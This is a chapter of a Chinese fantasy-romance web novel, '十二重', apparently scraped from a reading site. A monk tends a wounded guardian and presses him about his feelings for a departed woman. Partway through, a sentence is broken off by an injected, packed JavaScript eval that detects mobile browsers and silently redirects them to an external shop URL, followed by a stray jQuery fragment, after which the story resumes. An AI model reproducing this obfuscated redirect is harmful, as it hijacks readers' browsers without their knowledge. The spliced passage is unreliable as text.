文趣网 > 其他小说 > 十二重 > 29. 第三日(一)
    “霍祈楼......”

    在荣箐被列阵抽离的最后一瞬,她仍呼喊着他的名字,那声音里夹杂着太多,似一直执着于此,如此执拗,如此不愿放手,又恰似还有不舍和遗憾......

    直到阵门关闭,一直保持着静坐姿态的男人,猛地吐出一口血,再也支撑不住地倒了下去。他躺在地上,一动不动地看着灰蒙蒙的天,忽然轻轻地勾了一下唇角,笑意慢慢溢出,极为好看——明明他从来是喜怒不形于色,无悲无喜无怒,从来没有过多的情绪萦绕心中,明明如此。

    时间一分一秒流动,他整个人也开始控制不住的喘息,心跳每一次碾压着胸腔便化为沉重的钝痛,额头上的汗珠一颗一颗往下砸,滴落到领口慢慢洇开,身下洇开的血逐渐增多,直到,一丝金光熄灭,他终是阖上了眼。

    同一时刻,望龙寺的方向,一直在大殿里入定的青衫僧人,猛地睁开双眼,躯体在那一瞬间暗到了几乎看不见的地步,又很快消失无影无踪。

    *

    临近下午,山里起了大雾,浓雾缭绕,延绵群山之中。

    侧殿内,青衫僧人双手合十盘坐蒲团上入定,四周静谧,落针可闻,不知过去了多久,窗外一声惊雷滚落,年轻的僧人闻声皱了皱眉,继而睁开了眼,视线落在床榻上,那里昏睡着一个人,似一直未有醒来迹象。

    “第三日。”不易察觉的叹息,清朗地嗓音里透着一种别样的感慨。

    悟心默默感慨着,这几天叠着心里要说的话太多,复杂而妥协于现实的话术,还有那么多的深刻道理等等,但等了又等,始终却不见床榻上的男人苏醒过来,他的内伤须得靠自身的慢养才能调节过来,外伤倒是痊愈很快,奈何一直昏睡到第三日。

    想到这里,青衫僧人又沉默了一下,复而,偏头朝外看过去,一种山雨欲来的征兆,恰恰出现在那位“荣箐”女施主离开这里以后,本应该再无瓜葛,两相无事.......

    悟心收回了视线,目光又重新落在床榻上的男人身上,他替对方检查过外伤,除了之前的旧伤,倒是手掌处多了一道划伤,分明是被利刃所伤,但伤口却像是自身所为,这令悟心想不通了,很是好奇在那位女施主离开前,二人之间发生了什么。

    列阵关闭后,观山力竭昏了过去,之后发生了什么,悟心无从得知,只是,如果自己去的晚了一步,那么临近黑夜到来,观山便会成为一个活靶子,那么多的恶灵会一拥而上,撕碎了他的□□,侵占灵魂。

    “观山,你究竟在想什么呢?”

    疑问从青衫僧人心中所起,一语落地,禅房里安静了下来,微风吹过窗棂,带走了一丝药味,余下什么都没有,没有回答。

    又一夜安然度过,待到傍晚时分,灯罩内烛光被风吹得前后摇摆,发出极细的沙沙声。

    观山就是在这个时间里醒过来的,他睁开眼,看到的是禅房熟悉的梁柱。破旧的床帏旁,一道沉默的青衫影子静坐在那里,一动不动。

    “咳咳咳......”他撑着上半身坐了起来,仰靠在床头,每一下的动作很慢,像是浑身被抽离了所有力气,已经是记不清自己昏睡了多久,碎片一般的回忆,拼凑不出一个完整的场面。

    一杯清水递到观山的面前,他接过猛喝了几口,这才平顺过胸腔里的郁痛,悟心也顺势坐在床头的椅子上,看着对方不掩倦色的样子:“观山,你的命难道这么不重要?”

    “你在胡说什么?”他下意识低头看了看自己的手——左掌心横着一道新结的疤,伤口正在愈合,近乎于是为什么被利刃所伤,他转念想了想,忽地想起那一滴滴咂着自己手腕上的泪水,他又记起了对方离开列阵前的画面,心底也跟着抽动了一下,似乎验证了真实与否。

    “第四日,今天是你昏迷的第四日,你整整昏迷了三天三夜,直到今日才苏醒过来。”悟心有些泄气道,他心里欲语未说的话有些满,以至于他不知从何问起,又从何说起。

    “究其原因——就是因你强制开阵,力竭而倒。”说到这里的时候,悟心沉默了一瞬,想不出复杂的心思究竟还要掩饰多久,索性,不如一次性全部说出来,直面应对,也好早做打算。

    “她到底有多么重要,重要到,你要为此这般拼命?”悟心认真的看着对方,一字一句道。

    “她只是无辜而已。”观山不想在这样的讨论中去确定所谓的什么,他一直从未问过自己,为什么要三番五次救下那个女人,他只是知道,对方被卷进十二重内,是无辜落难而已。

    说完,观山把杯子里的水一饮而尽,水是温的,有一股草药味,苦中带甘,回味却是涩的,涩得舌根发紧,还想要继续多喝些水,来滋润。

    “水壶拿来。”他说。

    见状,悟心摇了摇头,还是很快将水壶递给对方,观山又连喝了几杯水,才顿觉有些解渴,只是解渴了一会儿,很快他又觉得自己饥渴难耐,浑身都不舒服,心底也萦绕一种烦躁感。

    “你这么渴吗?”如此一反常态的举动,落在悟心的眼里十分惊诧,惊讶外,他似乎看出了这不是一种表象,而是深层次的影响,不是因为单纯的口渴,而是心里的渴望。

    “可惜,可惜啊,如今是远水解不了近渴。”悟心又摇了摇头,轻叹道。一副他全部知晓,但就是等你来揭晓谜底的表情,视为高深莫测一般。

    对方说的极为感慨,好像是切中了答案一般,闻言,观山神色一滞,虽然没有立即回答什么,但沉静的面容里却显而易见地多了一丝波澜:“悟心,你想说什么便说,不应这样打谜语,很累的。”

    “阿弥陀佛,既然施主愿意与贫僧坐下来好好交谈,那么悟心自甘尽力为施主解谜才

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790655|210378||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    对。”悟心露出微笑,神情里又显出几分狡黠,显然是提出疑问许久,奈何对方一直不愿正面回应,如今愿意了,却也被逼无奈的样子。

    “观山,真的只是无辜而已吗?”说这句话的时候,悟心俯过身来,近距离地盯着观山的脸。那双眼睛目光锐利,像是要看穿他的皮囊,直抵身体最深处的躁动。

    又是相同的质问,又是同样的话题,男人往后移了一下,试图避开,却避无可避,只能微仰着头:“只是可怜她罢了。”

    “非也,非也。”

    悟心不易察觉地翘了翘嘴角,又恢复如常的坐回了原位,心里却逐渐明晰了,正在靠近所谓的答案,只是他无凭无据,须得逼着对方摆出实锤,他非要逼迫着万年不开窍的木头——直面内心。

    “阿弥陀佛,这世上的可怜人,还少吗?”悟心缓缓地抬眼,目光里藏着一丝不可见地悲悯,看似平和的眼神,却隐藏了很多很多。

    “如你强大如神明,睥睨着观山氏族一众,你可怜他们吗?”

    “可怜,只是你的这种可怜,是俯视着众人的,不掺杂着一丝个人情感,因你是观山如是,你生来就是观山氏族的守护神。”顿了顿,悟心又露出一抹了然的笑意来。

    “在荣箐女施主离开这里前,你们之间发生了什么?”他示意着对方手掌的伤口,似明知故问一般。

    观山垂眼看着自己掌心的伤口,没有说话,他不知道自己该说什么,这双手,手指修长,白皙无暇,掌纹分明,指缝间空空如也……

    明明一点伤痕也没有,但他却好似看见了什么异样的画面,满目鲜血淋漓……

    “荣箐,知道你这么拼命吗?”悟心慢慢地开口,语气了没有一丝揶揄,反倒多了几分认真的模样,似乎是一圈圈的解开乱七八糟的麻团,抽丝剥茧一般让所有的回到正轨的位置。

    “我不是为了她,是为我自身安全考虑,她必须得离开这里。”观山如实说道,她多留十二重一分,自己也会跟着多一分的危险,他无法任留对方受到迫害,所以心甘情愿的替她护卫,但自己的伤势愈发严重,属实再这样下去,很快危急性命,所以对方早点离开是自己正确的选择。

    “我,只是不想看见一个无辜的人受伤,不想看见她泪流满面的样子,不想她日渐消沉的待在这里,不想言而无信,只是这样。”他说着,脑海中零零碎碎的记忆中心底炸开,像是一幕幕过往在循环。观山难得的陷入了一种沉思里,连话也变得多了些,解释什么的都不存在,动情也从未有过,只是可怜罢了,只是如同对方心疼自己一般,可怜她而已。

    ——何况,自己没有选择,自己肩负家族众望,使命与责任会跟随一辈子,但对方不属于这里,对方有选择的权利,便不必要困在这里,对方应该回到属于自己的自由世界里去,广阔天地,随心翱翔。